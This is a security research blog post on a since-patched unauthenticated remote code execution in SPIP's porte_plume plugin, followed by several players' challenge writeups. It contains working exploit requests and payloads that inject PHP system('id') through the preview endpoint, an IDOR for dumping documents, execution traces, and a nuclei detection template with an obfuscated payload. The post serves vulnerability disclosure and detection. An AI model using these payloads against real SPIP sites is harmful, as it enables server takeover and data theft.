Hi dear Sir, Madam. Please be informed that this is the third article dedicated to Spip 0-day research, if you haven’t read the first ones, I’d recommend reading them first!
This article will cover the issue and exploit
for an Unauthenticated Remote Code Execution
found on Spip
, it has been patched in the releases for 4-3-0-alpha2, 4-2-13, and 4.1.16.
This issue was tested on the latest back then: 4.2.9 Released the 8th of February 2024, its SHA1 hash is 1987a75d18a57690e288be59e1c4a114cac51d84.
Oh yeah, the issue came from the porte_plume plugin, so if you update spip without updating the plugins as well, you might still be exposed! 👏
mise install [email protected] # Recent install, should work on latest as well
pecl install -f libsodium # Dependencies for Spip crypto stuff
echo extension=sodium.so | tee -a $(php --ini | grep -ioP "/.*/php.ini") # Add sodium.so to our php.ini config file
php -S 0.0.0.0:8000 # Simple webserver
http://0.0.0.0:8000/ecrire/ # The url to visit in order to setup the site
From there, pick a sqlite
backend to keep the setup minimalist, create an admin account, and voilà, you’re done! It’s empty as hell, yet enough to be exploited!
Two years ago, I built and deployed a simple cron task that would pull spip core and plugin changes daily at 9pm, split the diffs in small chunks of lines, render them, and push it to one of my private discord servers. It yielded a few cute results, but nothing too scary for a few months. I was already reading as much code as I could in the actual project, but in the meantime, having these new changes was helpful to know what were the current moving parts!
And one day, this gem came up!
For interested readers, a dirty push-my-diffs PoC has been released and shown during a livestream! 😇
Now, let’s head-out to the code part!
If you’re a French reader, you’ll quickly notice THE line.
If there is php that comes from a model in here, it must be eval’d as it’s not a regular page.
- Someone, probably a monday morning
And the code does just that. If a flag states that modeles must be protected, then some sanitization takes place, then the page’s content ends up in an eval statement!
As I’ve been playing with Spip for a while now, I knew this piece of code lived in the porte_plume
plugin, and was reachable without account!
So… Can we do it? Can we reach the mighty eval statement?
One bug already known by quite a few researchers is the ability to abuse the previsualization feature to resolve document or images IDs to full document links. This is an IDOR in itself, has been reported, but was -afaik- deemed too painful to patch, or not prioritized.
Let’s upload one image on our backend, and see how the link resolution feature behaves.
curl -sSkiL 'http://0.0.0.0:8000/index.php?action=porte_plume_previsu' -X POST -d 'data=AA<doc1>BB'
As stated, this allows us to resolve every document and images IDs to links. As files do not benefit extra protections nor ACL, once the full link (partial path and filename) is known, the file can be downloadded right away. We can basically abuse this feature to dump the whole site content. Banger!
But wait, there’s more!
The code received on discord states that if some php code lends in there, it will be eval’d, so can we get our code in there?
Yes, no, maybe, it’s complicated… For now, the sanitization part catches us and surrounds our attempt with warnings. And breaks our payload. But the Spip templating engine is fairly complex and it’s definitely 100% spaghetti!
No blame on the devs, it’s php, and will always be.
By grepping around, we can determine that links are handled in a specific way to be resolved, while reading the function’s code, one can find that url slugs, text formats, and more can be (ab)used.
More can be found on the slug system with extra greps and code reading:
grep -riP '>->'
# ecrire/public/assembler.php: // Si un lien a ete passe en parametre, ex: [<modele1>->url] ou [<modele1|title_du_lien{hreflang}->url]
# plugins-dist/textwheel/inc/lien.php: # Penser au cas [<imgXX|right>->URL], qui exige typo('<a>...</a>')
# plugins-dist/textwheel/tests/data/typo/inline_link.txt:[<code>link avec de la typo !</code>->http://example.com]
# plugins-dist/textwheel/tests/data/typo/inline_link_title.txt:[link|title with <b>bold avec de la typo!</b>->http://example.com] and [another link|title with <b>bold avec de la typo!</b>->/tests/]
# plugins-dist/textwheel/tests/data/modeles_inline/inline_link.txt:[link <textwheel1|inline>->http://example.com] and [another link <textwheel1|inline>->/tests/]
# plugins-dist/textwheel/tests/data/modeles_inline/inline_link.txt:[<code>link <textwheel1|inline></code>->http://example.com]
# plugins-dist/textwheel/tests/data/modeles_inline/inline_link.txt:[<textwheel1|inline>->http://example.com]
# plugins-dist/textwheel/tests/data/modeles_inline/inline_link.txt:[<textwheel1|inline> and text <textwheel1|inline>->http://example.com]
# plugins-dist/textwheel/tests/data/modeles_inline/inline_link_title.txt:[link|title <textwheel1|inline>->http://example.com] and [another link|title <textwheel1|inline>->/tests/]
# plugins-dist/textwheel/tests/data/modeles_inline/inline_link_title.txt:[link|title with <b>bold <textwheel1|inline></b>->http://example.com] and [another link|title with <b>bold <textwheel1|inline></b>->/tests/]
# plugins-dist/textwheel/tests/data/base/inline_link.txt:[<code>link</code>->http://example.com]
# plugins-dist/textwheel/tests/data/base/inline_link_title.txt:[link|title with <b>bold</b>->http://example.com] and [another link|title with <b>bold</b>->/tests/]
# plugins-dist/textwheel/tests/data/modeles_block/inline_link.txt:[link <textwheel1|block>->http://example.com] and [another link <textwheel1|block>->/tests/]
# plugins-dist/textwheel/tests/data/modeles_block/inline_link.txt:[<code>link <textwheel1|block></code>->http://example.com]
# plugins-dist/textwheel/tests/data/modeles_block/inline_link.txt:[<textwheel1|block>->http://example.com]
# plugins-dist/textwheel/tests/data/modeles_block/inline_link.txt:[<textwheel1|block> and text <textwheel1|block>->http://example.com]
# plugins-dist/textwheel/tests/data/modeles_block/inline_link_title.txt:[link|title <textwheel1|block>->http://example.com] and [another link|title <textwheel1|block>->/tests/]
The previsualisation system is the same (or very similar) for post and comments. One easy way to get intimate with it is to play on the article redaction page.
In here, we have the document uploader, possibility to insert documents by id, links, slugs, bold, italics, quoted, striked, code blocks, and more.
Turns out reflecting URLs with complex formatting is broken when the right suite of filters is applied! By writing a dead-simple fuzzer to submit all kinds of urls and formats, and logging the content passed to the previously mentioned eval statement, things got lit!
I won’t give every working payload here, but let’s analyze one
[<img111111>->URL`<?php system("id");?>`]
This is a:
[foo->bar]
# Link seen as foo, pointing on bar<img111111>
# Resolve request to a non-existing image of id 111111<?php system("id");?>
# Php payload that executes the id commandSo we have a link, made from a non-existing document, for which the slug contains a bold php payload!
curl -sSkiL 'http://0.0.0.0:8000/index.php?action=porte_plume_previsu' -X POST -d 'data=AA_[<img111111>->URL`<?php system("id");?>`]_BB'
We’re therefore abusing the unauth previsualization feature to reflect our terrific bb-text-like url that will keep the payload untouched due to the path formatting takes!
This led to two patches, one in the core, and one in the porte_plume plugin!
Side note here, I’ve had past disclosure that went… Not so well. This one was smooth, Spip Dev Team members were helpful and quick to react! 🌹
pecl install xdebug
mkdir /tmp/traces/
cat >> $(php --ini | grep -ioP "/.*/php.ini") << EOF
zend_extension=xdebug.so
xdebug.mode = trace
xdebug.start_with_request = yes
xdebug.trace_format = 1 ; Use the computer-readable format
xdebug.output_dir = "/tmp/traces"
EOF
# Restart the php simple server
php -S 0.0.0.0:8000
# Then trigger the exploit
curl -sSkiL 'http://0.0.0.0:8000/index.php?action=porte_plume_previsu' -X POST -d 'data=AA<doc1>BB'
# Then inspect the trace
gunzip /tmp/traces/trace.2713103059.xt.gz
bat /tmp/traces/trace.2713103059.xt
The full trace can be found here: https://gist.github.com/laluka/609822f84ba07716c807be112b69e83a
By snipping ✀ some parts, or just grepping on our payload, we’ll be able to find the exact culprits!
[...] Framework initialization, autoload, boilerplate, ...
5 43 0 0.010484 569784 serialize 0 /opt/spip-rampage-2024/sources/config/ecran_securite.php 412 1 ['action' => 'porte_plume_previsu', 'data' => 'AA_[<img111111>->URL`<?php system("id");?>`]_BB']
[...] Assempling many assets
22 3094 0 0.147165 7099656 function_exists 0 /opt/spip-rampage-2024/sources/ecrire/public/assembler.php 559 1 'medias_modeles_styliser'
[...] Tons of SQL & data loading
14 5393 0 0.201983 7799240 pipeline 1 /opt/spip-rampage-2024/sources/plugins-dist/textwheel/inc/texte.php 914 2 'post_echappe_html_propre' '<p>AA_<a href="URL<code class="spip_code spip_code_inline" dir="ltr"><span class="base64php29041280866b34eef8d1b72.80300957" title="PD9waHAgc3lzdGVtKCJpZCIpOz8+"></span></code>" class=""></a>_BB</p>'
15 5394 0 0.202012 7799240 strtolower 0 /opt/spip-rampage-2024/sources/ecrire/inc/utils.php 301 1 'post_echappe_html_propre'
15 5395 0 0.202030 7799320 function_exists 0 /opt/spip-rampage-2024/sources/ecrire/inc/utils.php 302 1 'execute_pipeline_post_echappe_html_propre'
15 5396 0 0.202047 7799352 execute_pipeline_post_echappe_html_propre 1 /opt/spip-rampage-2024/sources/ecrire/inc/utils.php 303 1 '<p>AA_<a href="URL<code class="spip_code spip_code_inline" dir="ltr"><span class="base64php29041280866b34eef8d1b72.80300957" title="PD9waHAgc3lzdGVtKCJpZCIpOz8+"></span></code>" class=""></a>_BB</p>'
14 5397 0 0.202078 7799992 pipeline 1 /opt/spip-rampage-2024/sources/plugins-dist/textwheel/inc/texte.php 922 2 'post_echappe_html_propre_args' ['args' => ['args' => [...], 'connect' => NULL, 'env' => [...]], 'data' => '<p>AA_<a href="URL<code class="spip_code spip_code_inline" dir="ltr"><span class="base64php29041280866b34eef8d1b72.80300957" title="PD9waHAgc3lzdGVtKCJpZCIpOz8+"></span></code>" class=""></a>_BB</p>']
[...] Entering the Clean-Up Pipeline
13 5401 0 0.202175 7798928 echappe_retour 1 /opt/spip-rampage-2024/sources/plugins-dist/porte_plume/porte_plume_fonctions.php 867 3 '<p>AA_<a href="URL<code class="spip_code spip_code_inline" dir="ltr"><span class="base64php29041280866b34eef8d1b72.80300957" title="PD9waHAgc3lzdGVtKCJpZCIpOz8+"></span></code>" class=""></a>_BB</p>' 'php29041280866b34eef8d1b72.80300957' 'traitements_previsu_php_modeles_eval'
[...] Below us URL attrs extraction with extraire_attribut
14 5404 0 0.202243 7799088 preg_match_all 0 /opt/spip-rampage-2024/sources/ecrire/inc/texte_mini.php 316 4 ',<(span|div)\\sclass=[\'"]base64php29041280866b34eef8d1b72.80300957[\'"]\\s(.*)>\\s*</\\1>,UmsS' '<p>AA_<a href="URL<code class="spip_code spip_code_inline" dir="ltr"><span class="base64php29041280866b34eef8d1b72.80300957" title="PD9waHAgc3lzdGVtKCJpZCIpOz8+"></span></code>" class=""></a>_BB</p>' NULL 2
14 5405 0 0.202281 7799936 extraire_attribut 1 /opt/spip-rampage-2024/sources/ecrire/inc/texte_mini.php 321 3 '<span class="base64php29041280866b34eef8d1b72.80300957" title="PD9waHAgc3lzdGVtKCJpZCIpOz8+"></span>' 'title' ???
15 5407 0 0.202320 7800160 preg_match 0 /opt/spip-rampage-2024/sources/ecrire/inc/filtres.php 1951 3 ',(^.*?<(?:(?>\\s*)(?>[\\w:.-]+)(?>(?:=(?:"[^"]*"|\'[^\']*\'|[^\'"]\\S*))?))*?)(\\s+title(?:=\\s*("[^"]*"|\'[^\']*\'|[^\'"]\\S*))?)()((?:[\\s/][^>]*)?>.*),isS' '<span class="base64php29041280866b34eef8d1b72.80300957" title="PD9waHAgc3lzdGVtKCJpZCIpOz8+"></span>' NULL
15 5408 0 0.202355 7800712 substr 0 /opt/spip-rampage-2024/sources/ecrire/inc/filtres.php 1955 3 '"PD9waHAgc3lzdGVtKCJpZCIpOz8+"' 1 -1
15 5410 0 0.202394 7800712 filtrer_entites 1 /opt/spip-rampage-2024/sources/ecrire/inc/filtres.php 1967 1 'PD9waHAgc3lzdGVtKCJpZCIpOz8+'
14 5412 0 0.202436 7799992 base64_decode 0 /opt/spip-rampage-2024/sources/ecrire/inc/texte_mini.php 321 1 'PD9waHAgc3lzdGVtKCJpZCIpOz8+'
14 5413 0 0.202454 7799992 extraire_attribut 1 /opt/spip-rampage-2024/sources/ecrire/inc/texte_mini.php 325 3 '<span class="base64php29041280866b34eef8d1b72.80300957" title="PD9waHAgc3lzdGVtKCJpZCIpOz8+"></span>' 'lang' ???
14 5415 0 0.202498 7799992 extraire_attribut 1 /opt/spip-rampage-2024/sources/ecrire/inc/texte_mini.php 325 3 '<span class="base64php29041280866b34eef8d1b72.80300957" title="PD9waHAgc3lzdGVtKCJpZCIpOz8+"></span>' 'dir' ???
14 5417 0 0.202540 7799992 traitements_previsu_php_modeles_eval 1 /opt/spip-rampage-2024/sources/ecrire/inc/texte_mini.php 336 1 '<?php system("id");?>'
15 5418 0 0.202554 7799992 ob_start 0 /opt/spip-rampage-2024/sources/plugins-dist/porte_plume/porte_plume_fonctions.php 884 0
15 5419 0 0.202588 7817368 eval 1 '?><?php system("id");?>' /opt/spip-rampage-2024/sources/plugins-dist/porte_plume/porte_plume_fonctions.php 886 0
16 5420 0 0.202603 7817368 system 0 /opt/spip-rampage-2024/sources/plugins-dist/porte_plume/porte_plume_fonctions.php(886) : eval()'d code 1 1 'id'
Well, hum… 👉👈 No. 😭
The issue has been introduced a year ago, and Root-Me is working on a rework
! 🥳
Therefore they did not spend time updating their Spip instance for over a year…
So, this time, a lack of updates definitely helped for security!
Feels like php-8.1.0-dev backdoor, right? 🙃
But next article will cover Yet Another Unauth RCE
that this time worked on Root-Me.org, so I hope you enjoyed this one, and will kindly wait for the next one! 💌
Have a nice Summer everyone! 🌻
As this article was soon to be disclosed, I thought making a chall out of it could be appreciated.
And it definitely did!
Here’s the TL;DR, then we’ll move to the player writeups! 🎉
_PROTEGE_PHP_MODELES
checkThe Porte Plume
plugin code is fairly short, only a few hundred lines.
As a result, interesting functions were quickly identified.
The ones that first caught our attention were the traitements_previsu
and traitements_previsu_php_modeles_eval
functions, since they themselves use the notoriously dangerous “eval” function.
function traitements_previsu($texte, $nom_champ = '', $type_objet = '', $connect = null) {
include_spip('public/interfaces'); // charger les traitements
global $table_des_traitements;
if (!strlen($nom_champ) || !isset($table_des_traitements[$nom_champ])) {
$texte = propre($texte, $connect);
} else {
include_spip('base/abstract_sql');
$table = table_objet($type_objet);
$ps = $table_des_traitements[$nom_champ];
if (is_array($ps)) {
$ps = $ps[(strlen($table) && isset($ps[$table])) ? $table : 0];
}
if (!$ps) {
$texte = propre($texte, $connect);
} else {
// [FIXME] Éviter une notice sur le eval suivant qui ne connait
// pas la Pile ici. C'est pas tres joli...
$Pile = [0 => []];
// remplacer le placeholder %s par le texte fourni
eval('$texte=' . str_replace('%s', '$texte', $ps) . ';');
}
}
// si il y a du PHP issu de modeles, il faut l'eval ici, car on aura pas de eval final contrairement aux pages SPIP
if (defined('_PROTEGE_PHP_MODELES')) {
$texte = echappe_retour($texte, 'php' . _PROTEGE_PHP_MODELES, 'traitements_previsu_php_modeles_eval');
}
// il faut toujours securiser le texte prévisualisé car il peut contenir n'importe quoi
// et servir de support a une attaque xss ou vol de cookie admin
// on ne peut donc se fier au statut de l'auteur connecté car le contenu ne vient pas
// forcément de lui
return safehtml($texte);
}
and :
function traitements_previsu_php_modeles_eval($php) {
ob_start();
try {
$res = eval('?' . '>' . $php);
$texte = ob_get_contents();
} catch (\Throwable $e) {
$texte = '<!-- Erreur -->';
}
ob_end_clean();
return $texte;
}
As explained above, Porte Plume is grafted onto the various editing fields of the spip application. It’s the preview system that will call our two functions. As described in the comments, these functions are used to apply filters to user input. (Note that Spip will add its security filter on top of this).
The preview function, authenticated or non-authenticated, takes 3 parameters:
Depending on field
and object
, different filters are applied to data
and the result is displayed in the following SPIP template:
#CACHE{0}
[(#HTTP_HEADER{Content-Type: text/html; charset=[(#VAL|pp_charset)]})]
<div class="preview">
[(#ENV*{data}|traitements_previsu{#ENV*{champ},#ENV*{objet}}|image_reduire{500,0}|liens_absolus)]
[<hr style='clear:both;' /><div class="notes">(#NOTES)</div>]
</div>
These filters are contained in the table: $table_des_traitements
, the php code will then retrieve this filter and apply it:
$ps = $table_des_traitements[$nom_champ];
...
eval('$texte=' . str_replace('%s', '$texte', $ps) . ';');
Here are the possible filters, from json_encode($table_of_treatments)
’ output
{
"BIO": ["safehtml(propre(%s, $connect, $Pile[0]))"],
"NOM_SITE": {
"auteurs": "entites_html(%s)",
"forums": "liens_nofollow(safehtml(typo(interdit_html(%s), \"TYPO\", $connect, $Pile[0])))",
"0": "typo(%s, \"TYPO\", $connect, $Pile[0])"
},
"NOM": {
"auteurs": "safehtml(supprimer_numero(typo(%s, \"TYPO\", $connect, $Pile[0])))",
"0": "supprimer_numero(typo(%s, \"TYPO\", $connect, $Pile[0]))"
},
"CHAPO": ["propre(%s, $connect, $Pile[0])"],
"DATE": ["normaliser_date(%s)"],
"DATE_REDAC": ["normaliser_date(%s)"],
"DATE_MODIF": ["normaliser_date(%s)"],
"DATE_NOUVEAUTES": ["normaliser_date(%s)"],
"DESCRIPTIF": {
"0": "propre(%s, $connect, $Pile[0])",
"syndic_articles": "safehtml(%s)"
},
"INTRODUCTION": ["propre(%s, $connect, $Pile[0])"],
"NOM_SITE_SPIP": ["typo(%s, \"TYPO\", $connect, $Pile[0])"],
"AUTEUR": {
"0": "typo(%s, \"TYPO\", $connect, $Pile[0])",
"forums": "liens_nofollow(safehtml(vider_url(%s)))"
},
"PS": ["propre(%s, $connect, $Pile[0])"],
"SOURCE": {
"0": "typo(%s, \"TYPO\", $connect, $Pile[0])",
"syndic_articles": "safehtml(%s)"
},
"SOUSTITRE": ["typo(%s, \"TYPO\", $connect, $Pile[0])"],
"SURTITRE": ["typo(%s, \"TYPO\", $connect, $Pile[0])"],
"TAGS": {
"0": "%s",
"syndic_articles": "safehtml(%s)"
},
"TEXTE": {
"0": "propre(%s, $connect, $Pile[0])",
"forums": "liens_nofollow(safehtml(propre(interdit_html(%s), $connect, $Pile[0])))"
},
"TITRE": {
"0": "supprimer_numero(typo(%s, \"TYPO\", $connect, $Pile[0]))",
"forums": "liens_nofollow(safehtml(typo(interdit_html(%s), \"TYPO\", $connect, $Pile[0])))"
},
"TYPE": {
"0": "typo(%s, \"TYPO\", $connect, $Pile[0])",
"mots": "supprimer_numero(typo(%s, \"TYPO\", $connect, $Pile[0]))"
},
"DESCRIPTIF_SITE_SPIP": ["propre(%s, $connect, $Pile[0])"],
"SLOGAN_SITE_SPIP": ["typo(%s, \"TYPO\", $connect, $Pile[0])"],
"ENV": ["entites_html(%s,true)"],
"*": {
"0": false,
"DATA": "safehtml(%s)"
},
"VALEUR": {
"DATA": "safehtml(%s)"
},
"PARAMETRES_FORUM": ["spip_htmlspecialchars(%s)"],
"NOTES": {
"forums": "liens_nofollow(safehtml(propre(interdit_html(%s), $connect, $Pile[0])))"
},
"URL_SITE": {
"forums": "safehtml(vider_url(%s))"
},
"EMAIL_AUTEUR": {
"forums": "safehtml(vider_url(%s))"
},
"URL": {
"syndic_articles": "safehtml(%s)"
},
"URL_SOURCE": {
"syndic_articles": "safehtml(%s)"
},
"LESAUTEURS": {
"syndic_articles": "safehtml(%s)"
},
"FICHIER": ["get_spip_doc(%s)"],
"CREDITS": {
"documents": "typo(%s, \"TYPO\", $connect, $Pile[0])"
},
"SLOGAN": {
"plugins": "propre(%s, $connect, $Pile[0])"
},
"VMAX": {
"plugins": "denormaliser_version(%s)"
},
"DESCRIPTION": {
"paquets": "propre(%s, $connect, $Pile[0])"
},
"VERSION": {
"paquets": "denormaliser_version(%s)"
},
"MAJ_VERSION": {
"paquets": "denormaliser_version(%s)"
}
}
Here’s the list of functions we can call with data
as a parameter:
As an example, field=TAGS
can be used to avoid applying an additional function to spip’s sanitizer:
"TAGS":{"0":"%s", ...}
Here, using field=TEXT
calls the own
function:
Unfortunately, none of these functions seems to be vulnerable. They’re all short, with no apparent sink for executing arbitrary code.
Going down into the treatments_previsu
function, we find this code in php:
...
if (defined('_PROTEGE_PHP_MODELES')) {
$texte = echappe_retour($texte, 'php' . _PROTEGE_PHP_MODELES, 'traitements_previsu_php_modeles_eval');
}
...
This sink is very interesting, because if the global variable _PROTEGE_PHP_MODELES
is defined, then a call to the function echappe_retour
is made with our parameter $texte
and the 2nd interesting function in the 3rd parameter.
As a reminder, here’s the code for the traitements_previsu_php_modeles_eval
function:
function traitements_previsu_php_modeles_eval($php) {
ob_start();
try {
$res = eval('?' . '>' . $php);
$texte = ob_get_contents();
} catch (\Throwable $e) {
$texte = '<!-- Erreur -->';
}
ob_end_clean();
return $texte;
}
It takes php code as a parameter and executes it in an eval.
Smells good :D
Let’s analyze the code of within the echappe_retour
function:
function echappe_retour($letexte, $source = '', $filtre = '') {
if (strpos($letexte, (string) "base64$source")) {
### spip_log(spip_htmlspecialchars($letexte)); ## pour les curieux
$max_prof = 5;
while (
strpos($letexte, '<') !== false
and
preg_match_all(
',<(span|div)\sclass=[\'"]base64' . $source . '[\'"]\s(.*)>\s*</\1>,UmsS',
$letexte,
$regs,
PREG_SET_ORDER
)
and $max_prof--
) {
foreach ($regs as $reg) {
$rempl = base64_decode(extraire_attribut($reg[0], 'title'));
// recherche d'attributs supplementaires
$at = [];
foreach (['lang', 'dir'] as $attr) {
if ($a = extraire_attribut($reg[0], $attr)) {
$at[$attr] = $a;
}
}
if ($at) {
$rempl = '<' . $reg[1] . '>' . $rempl . '</' . $reg[1] . '>';
foreach ($at as $attr => $a) {
$rempl = inserer_attribut($rempl, $attr, $a);
}
}
if ($filtre) {
$rempl = $filtre($rempl);
}
$letexte = str_replace($reg[0], $rempl, $letexte);
}
}
}
return $letexte;
}
Our third argument is passed to the $filter
variable, which is called in a condition with a refill
parameter.
Quickly, the function checks that our input contains a <span>
or <div>
tag with a class
attribute equal to base64php
+ _PROTEGE_PHP_MODELES
.
Finally, it extracts the title
attribute and decodes it in base64 before storing it in the $rempl
variable.
If we take the liberty of modifying the php code to set a value for _PROTEGE_PHP_MODELES
, we can achieve code execution!
Small lalu-note here: Congrats to
@Chocapikk_
on this one, he came first with the following payload<div class="base64php" title="PD9waHAgZWNobyBzeXN0ZW0oJ2lkJyk7Pz4K"></div>
which works assuming_PROTEGE_PHP_MODELES
is empty! 🌻
I add the following code to the treatments_previsu
function:
define('_PROTEGE_PHP_MODELES', 'RCE_POC');
In order to execute the id
command, by forging the following title:
[~/Desktop]$ echo "<?php system('id')?>" | base64
PD9waHAgc3lzdGVtKCdpZCcpPz4K
Finally, here’s our payload:
<div class="base64phpRCE_POC" title="PD9waHAgc3lzdGVtKCdpZCcpPz4K" ></div>
We spent several hours trying to figure out how to define the global variable _PROTEGE_PHP_MODELES
.
We had an almost complete code execution, but we were missing this variable.
The only occurrence and definition of _PROTEGE_PHP_MODELES
is in the protege_js_modeles
function in the ecrire/inc/texte_mini.php
file, but it seems impossible to reach the define
function call because of the native spip filter.
So we had to move on and find another path to code execution.
Spip embeds templates called squelettes
which are used to render php code.
A markup language specific to SPIP is used to generate this code, and it is in these templates that injection resided a few months ago, resulting in command execution (cf: icalendar generation).
Templates can be called up using the data
parameter, which is contained in the various plug-in codes as well as in /squelettes-dist/modeles
.
An example would be to create foreach.html
with the following content:
#PUCE #ENV{cle} => #ENV{valeur}<br />
Note that parameters are not taken into account since they are not in the rendering context
All SPIP templating tags are defined in the ecrire/public/tags.php
file.
There are dozens of them, some of which seem very interesting, such as #EVAL
:
#EVAL{code}
produces eval('return code;')
Unfortunately, none of the current templates had this tag.
Then, still looking for a way to define _PROTEGE_PHP_MODELES
, we looked for a way to define a variable in PHP’s global context.
Despite the existence of the #SET
tag, it didn’t allow us to define the variable for the entire PHP application.
We then looked at how PHP loads templates, and made an interesting discovery.
The include_template
function from ecrire/public/assembler.php
is called to recognize and load the various templates:
function inclure_modele($type, $id, $params, $lien, string $connect = '', $env = []) {
...
if (!$fond and !trouve_modele($fond = $type)) {
spip_log("Modele $type introuvable", _LOG_INFO_IMPORTANTE);
$compteur--;
return false;
}
$fond = 'modeles/' . $fond;
...
if (
strstr(
' ' . ($classes = extraire_attribut($retour, 'class')) . ' ',
'spip_lien_ok'
)
) {
$retour = inserer_attribut(
$retour,
'class',
trim(str_replace(' spip_lien_ok ', ' ', " $classes "))
);
} else {
if ($lien) {
$retour = "<a href=\"" . $lien['href'] . "\" class=\"" . $lien['class'] . "\">" . $retour . '</a>';
}
}
...
}
The function checks whether the template name exists and, if it does, adds the content to the response.
The vulnerability lies here, in the last lines, the parameters $link['href]
and $link['class]
are not sanitized!
So, if we control one of the two parameters, we’ll be able to inject php tags and execute our malicious code!
The $link
variable is passed as a function parameter. Going back up the function call tree, we find that it’s the process
function that calls include_modele
:
So we’re looking for the origin of $m['link']
:
$modele = inclure_modele($m['type'], $m['id'], $params, $m['lien'], $connect ?? '', $env);
By reading the code, we understand that $m
comes from $models
, itself coming from :
$modeles = $this->collecter($texte, ['collecter_liens' => true]);
Let’s skip the dozens of boring php lines, but here’s what you need to remember:
process
function calls the vulnerable include_modele
function with its $m['link']
parameter$m['link']
comes from a call to the collecter
function, which takes our complete input as a parameterThis function collecter
calls the function collecteur
(yes ..) with the following regex:
@<([a-z_-]{3,})\s*([0-9]*)\s*([|](?:<[^<>]*>|[^>])*?)?\s*/?>@isS
If there’s a match with this regex in our payload, then it performs further checks on tag length or type and finally parses the following attributes, which it stores in the link
array:
As you can see, the class
and href
parameters can be arbitrarily controlled using the <a>
tag.
Here’s a payload that passes the various checks and defines the two vulnerable variables:
Be careful not to forget <foreach|a|b>
in the <a>
tag to call the include_modele function
<a href="A" class="B" type="C" title="D" hreflang="E"><foreach|a|b></a>
Finally, we can add our payload %26lt;?php system('id');die(); ?%26gt;
to one of the two vulnerable fields:
<a href="A" class="%26lt;?php system('id');die(); ?%26gt;" type="C" title="D" hreflang="E"><foreach|a|b></a>
# or
<a href="%26lt;?php system('id');die(); ?%26gt;" class="B" type="C" title="D" hreflang="E"><foreach|a|b></a>
We only saw this line in the comments after completing the first method:
// Si un lien a ete passe en parametre, ex: [<modele1>->url] ou [<modele1|title_du_lien{hreflang}->url]
It is thus possible to pass a link as a parameter using []
!
Once again, you get command execution:
data=[<foreach|a|b>->%26lt;?php system('id');die(); ?%26gt;>]
The process
function is called by process_models
, itself called by the own
function.
So field=TEXT
is enough to trigger code execution!
Here’s a nuclei template for a quick detection of the vulnerability:
id: spip-preauth-rce-porteplume
info:
name: SPIP PortePlume plugin Preauth RCE
author: Vozec
severity: critical
description: |
SPIP PortePlume Preauth RCE (@cr: Vuln found by Laluka)
http:
- raw:
- |
POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Origin: http://{{Hostname}}
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
champ=TEXTE&objet=article&data=[<foreach|a|b>->%26lt;?php "\x73\x79\x73\x74\x65\x6d"('id');?%26gt;>]
matchers:
- type: word
part: body
words:
- "<div class=\"preview\">" ### Maybe windows server => If reflected then vulnerable version
- "uid="
condition: or
extractors:
- type: regex
name: result
group: 1
internal: False
part: body_1
regex:
- "<a href='.*/(.*?)'>"
Lalu: You can find also find this article at TBD
Laluka gave a challenge recently on finding a Pre-Auth Remote Code Execution on SPIP.
He also gave us a hint on where to look, by adding that it is in the porte_plume
plugin.
From now on we can start digging at SPIP.
As I like mixing static and dynamic code analysis when looking for vulns, I just ran my generic docker-compose for php apps.
This way I got a Xdebug and an Apache server ready to use.
Now that we have done the setup we can start looking at the code. I simply go into the folder of the porte_plume
plugin (packaged in the spip.zip given by laluka) and look for obvious dangerous functions.
Lalu-Snip: Screenshot & explanation already part of the previous writeups
However reaching the first eval is not hard, because it is triggered when trying to preview an article:
At first I did not find any ref to this function, but this is because I do not know SPIP
at all. I was looking inside *.php
files! In fact SPIP
seems to have is own language and uses it inside its custom page, so here is the reference to the function call:
Anyway, once done we can see that the first eval cannot be used as we do not control any of its arguments… However the other looks better but seems hard to reach as it required the constant _PROTEGE_PHP_MODELES
to be defined:
Ok, so in order to reach the second eval
located in traitements_previsu_php_modeles_eval
we must reach the first eval
located in traitements_previsu
with the constant _PROTEGE_PHP_MODELES
defined.
However this constant is defined in texte_mini.php
:
Here, creer_uniqid
generates a uniqid with entropy, so it is hard to predict. So the constant is defined, but we cannot predict its value (Or it seems really hard // lalu+1).
Here what is important to notice is that the function is related to modeles
. It is important, in my opinion, to read the doc of the software when looking for vulnerabilities. So I looked for modeles in the SPIP
documentation, and I found what I needed.
And here is the regex used by SPIP
to identify them:
There are also default modeles on SPIP, which are (according to the documentation):
As I do not understand every models above, I used the img
, doc
, and emb
models.
Okay so let’s try to reach the protege_js_modeles
function by running the payload: <img|test>
When doing this, modeles included in the text are managed by the function Modeles::traiter
. This function tries to go through all the models and renders them as they should, by calling another function named inclure_modele
within assembler.php
.
I did not look at the whole function, but from what I understood, if the model contains a link, then it will be returned in the classical <a>
tag:
By looking at the documentation (once again), it was possible to see how to create a link:
So I tried this exact payload and we reached the famous code protege_js_modeles
. The code takes our text as argument, so we can also control the parameter!
To setup the constant _PROTEGE_PHP_MODELES
we just have to add a php tag inside the link, and hop we hit the breakpoint:
And here is the result with the dynamic debug:
With this we can get back to the eval
statement, and check the arguments given by our input.
I ran this simple payload as a test: [<doc|test>-><?php echo "test";?>]
And here is the result in the eval:
eval('?><?php </span><span style="color: #007700">echo </span><span style="color: #DD0000">"test"</span><span style="color: #007700">;</span><span style="color: #0000BB">?>');
Which throws a deserved syntax error.
Our payload has been translated into formatted html text, so php code is highlighted, and then cannot be evaluated anymore. This is our last step before pwning the target!
So the problem for me here is that <?php
become <span style="color: #000000"><?php</span>
than is not a valid eval anymore (eval("<?php</span>")
-> Error). In order to get rid of this annoying tag I choose to use the size limit shown in the code:
So the payload is truncated each 30000 chars, thus it is possible to leave the annoying tag behind in order to eval only php code unformatted. I ran it with a big payload, and added a quote in front of the real payload in order to protect any other text formatting, and here we are:
And then the second eval is triggered with only code wanted:
From there we recover the content of the payload in the response:
This was a fun vulnerability to find, and also a nice challenge, I hope I’ll get to fight Spip in a future assessment! :D
Lalu & Vozec note: Once Guilhem agreed to share this exploit so we could analyze it, we were
0_0'
as this exploit path wasn’t expected! Ironically, It’s also patched by the initial patch. So we’re sad that it’s not a new 0day, and happy to have@GuilhemRioux
as a co-author here! 🌹You can find also find this article at TBD